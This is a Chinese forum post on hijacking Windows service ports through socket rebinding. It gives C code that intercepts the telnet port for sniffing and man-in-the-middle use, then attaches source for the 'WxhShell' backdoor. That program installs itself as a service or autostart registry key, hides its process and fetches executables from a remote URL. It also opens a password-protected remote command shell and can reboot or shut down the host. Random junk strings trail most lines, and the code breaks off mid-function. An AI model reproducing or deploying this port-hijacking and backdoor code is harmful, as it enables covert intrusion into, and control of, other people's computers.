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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X)Gp7k1w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >%%=0!,yX  
X T>('qy  
  saddr.sin_family = AF_INET; *> 3Qd7  
I}0_nge  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J1F{v)T '?  
j'rS&BI G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m2bDHQ+  
6qp5Xt+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >IvBU M[Rt  
RVM&4#E  
  这意味着什么?意味着可以进行如下的攻击: }0/a\  
5D`26dB2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'x%x'9OP  
b)} +>Wx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4MvC]_&  
Ej(2w Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h[Tk; h  
@'jf KW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "~+.Af  
)C]x?R([m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <e"J4gZf&  
z/|BH^Vw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w9&#~k]5  
!vqC+o>@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jbw!:x [  
s;.=5wcvi?  
  #include R,0Oq5  
  #include R{}qK r  
  #include :=.*I  
  #include    !k&)EWP?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l gq=GHW  
  int main() p8>%Mflf  
  { EA0iYzV  
  WORD wVersionRequested; fEqC] *s  
  DWORD ret; KCqqJ}G  
  WSADATA wsaData; x7ATI[b[  
  BOOL val; NPU^) B  
  SOCKADDR_IN saddr; W'$kZ/%[  
  SOCKADDR_IN scaddr; Uene=Q6>  
  int err; 9%,;XQ  
  SOCKET s; <|F-Dd  
  SOCKET sc;  kq/u,16@  
  int caddsize; @6MAX"  
  HANDLE mt; %v=!'?VT  
  DWORD tid;   #+jUhxq  
  wVersionRequested = MAKEWORD( 2, 2 );  H!eh J$[  
  err = WSAStartup( wVersionRequested, &wsaData ); -Zy)5NB-tZ  
  if ( err != 0 ) { kK[duW =6  
  printf("error!WSAStartup failed!\n"); S!dHNA:iU  
  return -1; "kSwa16O  
  } d<T%`:s<  
  saddr.sin_family = AF_INET; (cV  
   UzQ$B>f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P[i\e7mR  
2P}I'4C-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |rPAC![=  
  saddr.sin_port = htons(23); ;93KG4a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ww,Z )m  
  { RaNeZhF>M  
  printf("error!socket failed!\n"); [MmM9J["  
  return -1; L3c*LL  
  } d6b.zP  
  val = TRUE; -u6#-}S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (V9h2g&8L  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ixI:@#5wY  
  { @YZ 4AC  
  printf("error!setsockopt failed!\n"); r*d Q5 _  
  return -1; ,U=E[X=H  
  } *x,HnHT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]N}]d +^6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H@W0gK(cS;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V5s& hZZYa  
*{[d%B<lp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b(&] >z  
  { xrI}3T  
  ret=GetLastError(); -Bv 12ymLG  
  printf("error!bind failed!\n"); bXvbddu)}  
  return -1; ,}7_[b)&V  
  } M,..Kw/ }~  
  listen(s,2); _Ex?Xk  
  while(1) %$9:e J?  
  { wZ>Y<0,  
  caddsize = sizeof(scaddr); =J3`@9;  
  //接受连接请求 ,cQA*;6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yQ-hnlzn~  
  if(sc!=INVALID_SOCKET) Wo3'd|Y~i  
  { n~%}Z[5D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <%?uYCD  
  if(mt==NULL) Bbs 0v6&,  
  { [4gjC  
  printf("Thread Creat Failed!\n"); IwRQL%  
  break; 1v]t!}W:6  
  } W-Of[X{<  
  } ZNy9_a:dX  
  CloseHandle(mt); I9/KM4&  
  } %UG/ak%z  
  closesocket(s); )E~mJln  
  WSACleanup(); t aV|YP$  
  return 0; ha>SZnKD{  
  }   <9N4"d !A  
  DWORD WINAPI ClientThread(LPVOID lpParam) IUawdB5CB  
  { ,.7vBt6 p  
  SOCKET ss = (SOCKET)lpParam; k~|ZO/X@l%  
  SOCKET sc; cG(0q[  
  unsigned char buf[4096]; |_I[1%&`N  
  SOCKADDR_IN saddr; |Gc&1*$  
  long num; npj5U/  
  DWORD val; D pNX66O  
  DWORD ret; O3xz|&xY&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L9J;8+ge  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [x$; XqA  
  saddr.sin_family = AF_INET; f?m5pax|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %*p^$5L<  
  saddr.sin_port = htons(23); Hn^sW LT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]ut?&&*  
  { s((b"{fFb  
  printf("error!socket failed!\n"); ">,K1:(D  
  return -1; Ou!)1UFI  
  } kaC+I"4c  
  val = 100; B[7A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FvA|1c  
  { @7X\tV.Z  
  ret = GetLastError(); K*:Im #Q  
  return -1; 1:5P%$?b  
  } ]:!8 s\#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k!vHO  
  { QRiF!D)Nk  
  ret = GetLastError(); 5iv@@1c  
  return -1; <G}m#  
  } wOM<X hZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U,d2DAvt  
  { v C-[#]<  
  printf("error!socket connect failed!\n"); T7s+9CE  
  closesocket(sc); `W="g6(  
  closesocket(ss); ,i;9[4QMX  
  return -1; o[imNy~~  
  } 4V>vg2 d  
  while(1) 3l+|&q[v  
  { - BjEL;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /rOnm=P+Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6ku8`WyoF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YpiRF+G  
  num = recv(ss,buf,4096,0); J]\s*,C&  
  if(num>0) flPZlL  
  send(sc,buf,num,0); DbQBVy  
  else if(num==0) sgD@}":m  
  break; hsz$S:am  
  num = recv(sc,buf,4096,0); x@Sra@  
  if(num>0) Cl{{H]QngX  
  send(ss,buf,num,0); Bd QQ9$@5  
  else if(num==0) VAt>ji7c  
  break; TftOYY.hQ  
  } i(z+a6^@|  
  closesocket(ss); ~{9x6<g!  
  closesocket(sc); ym[+Rw  
  return 0 ; z(jU|va{_1  
  } 9M;I$_U`vj  
zQ=aey%  
t3 K>\ :  
========================================================== Zr5'TZ`$  
O${r^6Hh  
下边附上一个代码,,WXhSHELL  L2k;f]  
Y'?Izn b  
========================================================== Y0rf9  
fo *!a$)  
#include "stdafx.h" LuLy6]6D;  
5#P: "U  
#include <stdio.h> 2"zIR (  
#include <string.h> 0NVG"-Q  
#include <windows.h> ]y$)%J^T  
#include <winsock2.h> [;Vi~$p|Eo  
#include <winsvc.h> rT o%=0P  
#include <urlmon.h> 1X Q87~  
_pJX1_vD  
#pragma comment (lib, "Ws2_32.lib") fO0- N>W'P  
#pragma comment (lib, "urlmon.lib") +Z )`inw  
C CC4(v  
#define MAX_USER   100 // 最大客户端连接数 uAChu]  
#define BUF_SOCK   200 // sock buffer =":@Foa  
#define KEY_BUFF   255 // 输入 buffer ZjE~W>pkQ  
LxIuxt=X|p  
#define REBOOT     0   // 重启 `Nkx7Z~w:  
#define SHUTDOWN   1   // 关机 T3 =)F%  
o:h)~[n|  
#define DEF_PORT   5000 // 监听端口 byp.V_a}/  
ZV0) ."^Z  
#define REG_LEN     16   // 注册表键长度 #cR57=M}  
#define SVC_LEN     80   // NT服务名长度 twAw01".  
kWI]fZ_n  
// 从dll定义API Qh/lT$g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TeOFAIU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?exALv'B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cPx66Dh&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K,Lr +  
<<i=+ed8eP  
// wxhshell配置信息 >qr=l,Hi  
struct WSCFG { F>p%2II/  
  int ws_port;         // 监听端口 [''=><  
  char ws_passstr[REG_LEN]; // 口令 Mf!owpW T  
  int ws_autoins;       // 安装标记, 1=yes 0=no B[C7G7<B  
  char ws_regname[REG_LEN]; // 注册表键名 bBd*}"v^"  
  char ws_svcname[REG_LEN]; // 服务名 RJQ/y3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g8C+1G8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g]:..W7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V=:,]fTr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z?5,cI[6#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kv(Y }  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3xc:Y> *`  
0^-z?Kb<}  
}; VG? yL2y  
A)=X?x  
// default Wxhshell configuration @oUf}rMiDa  
struct WSCFG wscfg={DEF_PORT, Lx9hq7<  
    "xuhuanlingzhe", ,oy4V^B&  
    1, T[`QO`\5O  
    "Wxhshell", V*0Y_T{_  
    "Wxhshell", {9y9Kr|(P:  
            "WxhShell Service", NHst7$Y<  
    "Wrsky Windows CmdShell Service", >?H_A  
    "Please Input Your Password: ", :0i#=ODR  
  1, wI|bBfd(  
  "http://www.wrsky.com/wxhshell.exe", jJiCF,m  
  "Wxhshell.exe" g`y/ _  
    }; b#bO=T$e-  
89 _&X[X  
// 消息定义模块 #MmmwPB_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J$o[$G_Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ut0qr kqF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "i;*\+x  
char *msg_ws_ext="\n\rExit."; "Wzij&WkQ  
char *msg_ws_end="\n\rQuit."; Z3&XTsq  
char *msg_ws_boot="\n\rReboot..."; T#ecLD#  
char *msg_ws_poff="\n\rShutdown..."; 2d,wrC<'$  
char *msg_ws_down="\n\rSave to "; mE)x7  
M$DwQ}Z  
char *msg_ws_err="\n\rErr!"; $6qR/#74  
char *msg_ws_ok="\n\rOK!"; >EPaZp6  
i[V,IP +  
char ExeFile[MAX_PATH]; BbXmT"@  
int nUser = 0; &@Ji+  
HANDLE handles[MAX_USER]; 'eTpcrS3  
int OsIsNt; >B|ofwm*  
ulJ+:zwq$  
SERVICE_STATUS       serviceStatus; / r`Y'rm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y0W`E/1t  
+LvZ87O^~  
// 函数声明 ePFC$kMn  
int Install(void); r)*_,Fo|  
int Uninstall(void); .>cL/KaP  
int DownloadFile(char *sURL, SOCKET wsh); c;A ew!  
int Boot(int flag); ]7Xs=>"Iw  
void HideProc(void); DY%T`}  
int GetOsVer(void); @)FXG~C*  
int Wxhshell(SOCKET wsl); vErbX3RY2  
void TalkWithClient(void *cs); aTs y)=N  
int CmdShell(SOCKET sock); la6e`  
int StartFromService(void); NWq [22X |  
int StartWxhshell(LPSTR lpCmdLine); 6Wcn(h8%*  
s?z=q%-p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oWn_3gzw;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D0"yZp}  
oD|+X/F K  
// 数据结构和表定义 m''iE  
SERVICE_TABLE_ENTRY DispatchTable[] = )Q N=>J  
{ DXw9@b  
{wscfg.ws_svcname, NTServiceMain}, }sm56}_  
{NULL, NULL} 3n=cw2FG  
}; c'VtRE# z~  
p5D3J[?N  
// 自我安装 yM\tbT/l  
int Install(void) Amq8q  
{ KH CdO  
  char svExeFile[MAX_PATH]; 2T{-J!k  
  HKEY key; wN%DM)*k  
  strcpy(svExeFile,ExeFile); Z2Y583D  
wLg:YM"  
// 如果是win9x系统,修改注册表设为自启动 c"_H%x<[  
if(!OsIsNt) { +RKE|*y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o Q!g!xz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uc{Qhw!;:  
  RegCloseKey(key); 7kew/8-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 Q>jP3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _<&K]e@dp  
  RegCloseKey(key); 7xa@wa?!L  
  return 0; >H]|A<9u(  
    } L< nkI  
  } 2+hfbFu,1  
}  ;#Bh_f  
else { 4 w/t$lR  
?F_;~  
// 如果是NT以上系统,安装为系统服务 /R+]}Lt~%*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); azATKH+j  
if (schSCManager!=0) f1,$<Y|qU  
{ _yXeX  
  SC_HANDLE schService = CreateService &t@6qi`d  
  ( 8aIq#v  
  schSCManager, jL[Is2<@  
  wscfg.ws_svcname, M,dzf  
  wscfg.ws_svcdisp, d1LTyzLr  
  SERVICE_ALL_ACCESS, t+Q|l&|0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /A`zy  
  SERVICE_AUTO_START, QK/+*hr;  
  SERVICE_ERROR_NORMAL, #+5mpDh  
  svExeFile, APOU&Wd  
  NULL, *p<5(-J3  
  NULL, ($ 1<Dj:  
  NULL, [OToz~=)  
  NULL, F(kRAe;  
  NULL ?tM].\  
  ); DcvmeGl  
  if (schService!=0) M`,Z#)Af  
  { ,, -[P*@  
  CloseServiceHandle(schService); #p:jKAc3  
  CloseServiceHandle(schSCManager); 1Z{p[\k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %emPSBf@  
  strcat(svExeFile,wscfg.ws_svcname); d?+oT0pCH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bT6)(lm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ff+9(P>*  
  RegCloseKey(key); =2V;B  
  return 0; q.K$b  
    } ClVpb ew  
  } ,h(+\^ ?,  
  CloseServiceHandle(schSCManager); ^# g;"K0  
} z4%F2Czai&  
} 9tW.}5V  
R)d 7b,_Yd  
return 1; XQoT},C  
} ?9ho|  
^T J   
// 自我卸载 XIW: Nk!S  
int Uninstall(void) 7bW!u*v-c  
{ b5,}w:  
  HKEY key; y5tAp  
&JQ@(w  
if(!OsIsNt) { %<o$ J~l~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ezy5Jqk5%  
  RegDeleteValue(key,wscfg.ws_regname); ,f""|X5  
  RegCloseKey(key); [LEh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kIZdN D&  
  RegDeleteValue(key,wscfg.ws_regname); 2*;Y%NcP[  
  RegCloseKey(key); hx;kEJ  
  return 0; #?d#s19s  
  } 0GR9C%"]  
} 9Q5P7}%p  
} Nk~dfY<s  
else { wN0OAbtX'  
qc4 "0Ap'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .L|ax).D  
if (schSCManager!=0) *"bp}3$^^  
{ Y{:/vOj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [";5s&)q  
  if (schService!=0) T7_ SO,X  
  { tcdn"]#U  
  if(DeleteService(schService)!=0) { uTloj .  
  CloseServiceHandle(schService); aI#n+PW  
  CloseServiceHandle(schSCManager); Xr6 !b:UX  
  return 0; U[ungvU1U  
  } ?cxK~Y\  
  CloseServiceHandle(schService); 1X}Tp\e  
  } a9_KQ=&CI  
  CloseServiceHandle(schSCManager); JBJ7k19;  
} ]O ` [v  
} P+|8MT0  
J7] 60H#P  
return 1; #.t{g8W\C  
} Y,"MQFr(o  
NB#*`|qt  
// 从指定url下载文件 2cL )sP}  
int DownloadFile(char *sURL, SOCKET wsh) VYQbyD{V w  
{ 1EPOYvf%U  
  HRESULT hr; %{_ YJXpO  
char seps[]= "/"; c\ *OId1{;  
char *token; swgBPJ"?  
char *file; {!?RG\EYN  
char myURL[MAX_PATH]; "8 mulE,  
char myFILE[MAX_PATH]; @{a-IW 3  
_Cs}&Bic_  
strcpy(myURL,sURL); T/6=A$4 #  
  token=strtok(myURL,seps); TmZ[?IL,  
  while(token!=NULL) 6(^9D_"@  
  { w1G.^  
    file=token; d iLl>z  
  token=strtok(NULL,seps); lH>XIEj  
  } nEEGO~e  
6N)1/=)  
GetCurrentDirectory(MAX_PATH,myFILE); :P1c>:j[  
strcat(myFILE, "\\"); 9 (.9l\h  
strcat(myFILE, file); C7_T]e<  
  send(wsh,myFILE,strlen(myFILE),0); Ax*~[$$~%  
send(wsh,"...",3,0); E,:pIw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9o'6es..@Z  
  if(hr==S_OK) F7l:*r,O  
return 0; .*7UT~o=CS  
else OIT;fKl9  
return 1; EZfa0jJD  
ck+rOGv7{Z  
} f)P /@rh  
-{%''(G  
// 系统电源模块 tP{$}cEY  
int Boot(int flag) \ \}/2#1=c  
{ X($SBUS6  
  HANDLE hToken; zL}hFmh  
  TOKEN_PRIVILEGES tkp; 1y;zPJ<ntm  
"A+F&C>  
  if(OsIsNt) { Y@Y(;C"SW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;O11)u?/s|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u.FDe2|[)  
    tkp.PrivilegeCount = 1; 3:#rFb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mnj A8@1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n"Vd"}sU.  
if(flag==REBOOT) { T$;XJx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q0_W<+`  
  return 0; c/U6K yiK  
} @v=q,A8_  
else { =1[g`b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VrxH6Y  
  return 0; BAHx7x#(  
} y]9U FL"  
  } kR(=VM JU  
  else { O3Mv"Py%  
if(flag==REBOOT) { nHrCSfK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~]M"  
  return 0; +}/!yQtH  
} 59]9-1" +  
else { [ 1GEe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @NE#P&f  
  return 0; fC|u  
} ~Xw?>&  
} D|:sSld @  
:/qO*&i,N  
return 1; kc[["w&  
} &Qjl|2  
N Z`hy>LF^  
// win9x进程隐藏模块 i`'^ zR(`i  
void HideProc(void) H-w|JH>g  
{ <z)G& h@  
?Fpl.t~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )&Bv\Tfjt  
  if ( hKernel != NULL ) j}l8k@f  
  { 3>Snd9Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %/zZ~WIf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xvl  
    FreeLibrary(hKernel); efR$s{n!  
  } NM.B=<Aw*  
`1]9(xwhQ0  
return; f tDV3If  
} k;7.qhe:  
mO.U )tL[  
// 获取操作系统版本 I9>*Yy5RNS  
int GetOsVer(void) q04Dj-2<  
{ |9eY R  
  OSVERSIONINFO winfo; 2A+,. S_!x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,eCXT=6  
  GetVersionEx(&winfo); @D=`iG%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7d)' y  
  return 1; eUlb6{!y?  
  else W<o0Z OO  
  return 0; qH"a!  
} edx'p`%d5  
n`xh/vGm#  
// 客户端句柄模块 E2D8s=r  
int Wxhshell(SOCKET wsl) [CX?Tt  
{ & jvG]>CS'  
  SOCKET wsh; Sw'?$j^3  
  struct sockaddr_in client; lJ#>Y5Qg  
  DWORD myID; \S@6@ UGv  
U$uO%:4%  
  while(nUser<MAX_USER) d?Cl04  
{ /|AuI qW  
  int nSize=sizeof(client); ' qE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J7o?h9  
  if(wsh==INVALID_SOCKET) return 1; Xs@ ^D,  
5V!XD9P'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 12dW:#[  
if(handles[nUser]==0) |"v{RC0  
  closesocket(wsh); n^#LB*q  
else &S]v+wF  
  nUser++; ~7'.{VrU  
  } &Sa~Wtm|*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rK|&u v*b  
puF Z~WZ  
  return 0; ]{^vs'as\  
} \l5:A]J  
] i2\2MTW8  
// 关闭 socket (=V[tI+Ngt  
void CloseIt(SOCKET wsh) [)n}!5fE  
{ c@M@t0WT[  
closesocket(wsh); Y3>\;W*?  
nUser--; }j*/>m  
ExitThread(0); _1Gut"!{\  
} @8yFM%  
S]O Hv6  
// 客户端请求句柄 ,>v9 Y#U  
void TalkWithClient(void *cs) ;tiU OixJ  
{ ZH_4'm!^g|  
:exuTn  
  SOCKET wsh=(SOCKET)cs; ',Pk>f]AB-  
  char pwd[SVC_LEN]; x~tQYK   
  char cmd[KEY_BUFF]; % 6.jh#C  
char chr[1]; U-<"i6mg ?  
int i,j; !5!$h` g  
rxeXz<  
  while (nUser < MAX_USER) { { ][7Np!y  
-$ z"74  
if(wscfg.ws_passstr) { 'PYqp&gJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w8I&:"^7<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |9Ks13?Ck  
  //ZeroMemory(pwd,KEY_BUFF); dvF48,kr  
      i=0; n ]}2O 4j  
  while(i<SVC_LEN) { ?<^AXLiKV  
?I#hrv@  
  // 设置超时  WPKTX,k  
  fd_set FdRead; @6'E8NFl  
  struct timeval TimeOut; #2ASzCe  
  FD_ZERO(&FdRead); '$-,;vnP0  
  FD_SET(wsh,&FdRead); pY#EXZ#   
  TimeOut.tv_sec=8; ;XQ lj?:  
  TimeOut.tv_usec=0; z}&C(m:al  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BM~niW;k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^T6!z^g1h  
FD+PD:cQn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TFDCo_>o  
  pwd=chr[0]; }h h^U^ia  
  if(chr[0]==0xd || chr[0]==0xa) { [=3tAPpzK  
  pwd=0; 5THS5'  
  break; B/kn&^z$|~  
  } K(fLqXE%  
  i++; g_c)Ts(  
    } bv>lm56  
jZ,[{Z(N   
  // 如果是非法用户,关闭 socket h!CX`pBM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wD^do  
} v/.h%6n?  
u;qMo`-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~(OIo7#;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rGGepd  
HKN"$(Q  
while(1) { qpqz. {\  
7qK0!fk5  
  ZeroMemory(cmd,KEY_BUFF); k|Yv8+XT  
f.)F8!!  
      // 自动支持客户端 telnet标准   Cy:`pYxhd  
  j=0; @Qjl`SL%O^  
  while(j<KEY_BUFF) { slvs oN@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *oX]=u&  
  cmd[j]=chr[0]; pQ(eF0KG  
  if(chr[0]==0xa || chr[0]==0xd) { Ss! 3{VW  
  cmd[j]=0; gLMea:  
  break; Rue|<d1  
  } ^WW|AS  
  j++; q}v04Yy,o  
    } )-:eQ{st`  
]N <]  
  // 下载文件 %g@3S!lK  
  if(strstr(cmd,"http://")) { pQ^,.[[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vcJb\LW  
  if(DownloadFile(cmd,wsh)) 'EET3R K-S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PeUd  
  else j*~dFGl)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OK?3,<x  
  } J$9xC{L4  
  else { AKC foJ  
K0RYI69_  
    switch(cmd[0]) { Dq%r !)  
  ^!p<zZ  
  // 帮助 +[8Kl=]L  
  case '?': { Y!1^@;)^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cm 9oG  
    break; VIYksv   
  } P[GX}~_k  
  // 安装 5ZyBP~  
  case 'i': { Zjic"E1  
    if(Install()) UQ.D!q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [q+e]kD  
    else *(&ClUQQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tGO[A#9a  
    break; ^A "lkV7  
    } K l0tyeT  
  // 卸载 J6( RlHS;  
  case 'r': { +>WC^s  
    if(Uninstall()) qz=#;&ZU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <r+!hJ[s'  
    else keQXJ0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m$E^u[  
    break; xV>iL(?  
    } [b i3%yWh  
  // 显示 wxhshell 所在路径 vMZ7uO  
  case 'p': { _95}ifSVm  
    char svExeFile[MAX_PATH]; NBqV0>vR  
    strcpy(svExeFile,"\n\r"); gAr`hXO  
      strcat(svExeFile,ExeFile); |;.Pj 3)-  
        send(wsh,svExeFile,strlen(svExeFile),0); q 5v?`c  
    break; *)`kx   
    } s\Pt,I@Y_  
  // 重启 !(]dz~sM  
  case 'b': { g#'fd/?Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |j~EV~A J  
    if(Boot(REBOOT)) UrhM)h?%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'}(t,  
    else { Vy% :\p+  
    closesocket(wsh); \n*7# aX/  
    ExitThread(0); U!\2K~  
    } l4mUx`!  
    break; b%[ nB  
    } WE.$at{*h  
  // 关机 u3*NO )O  
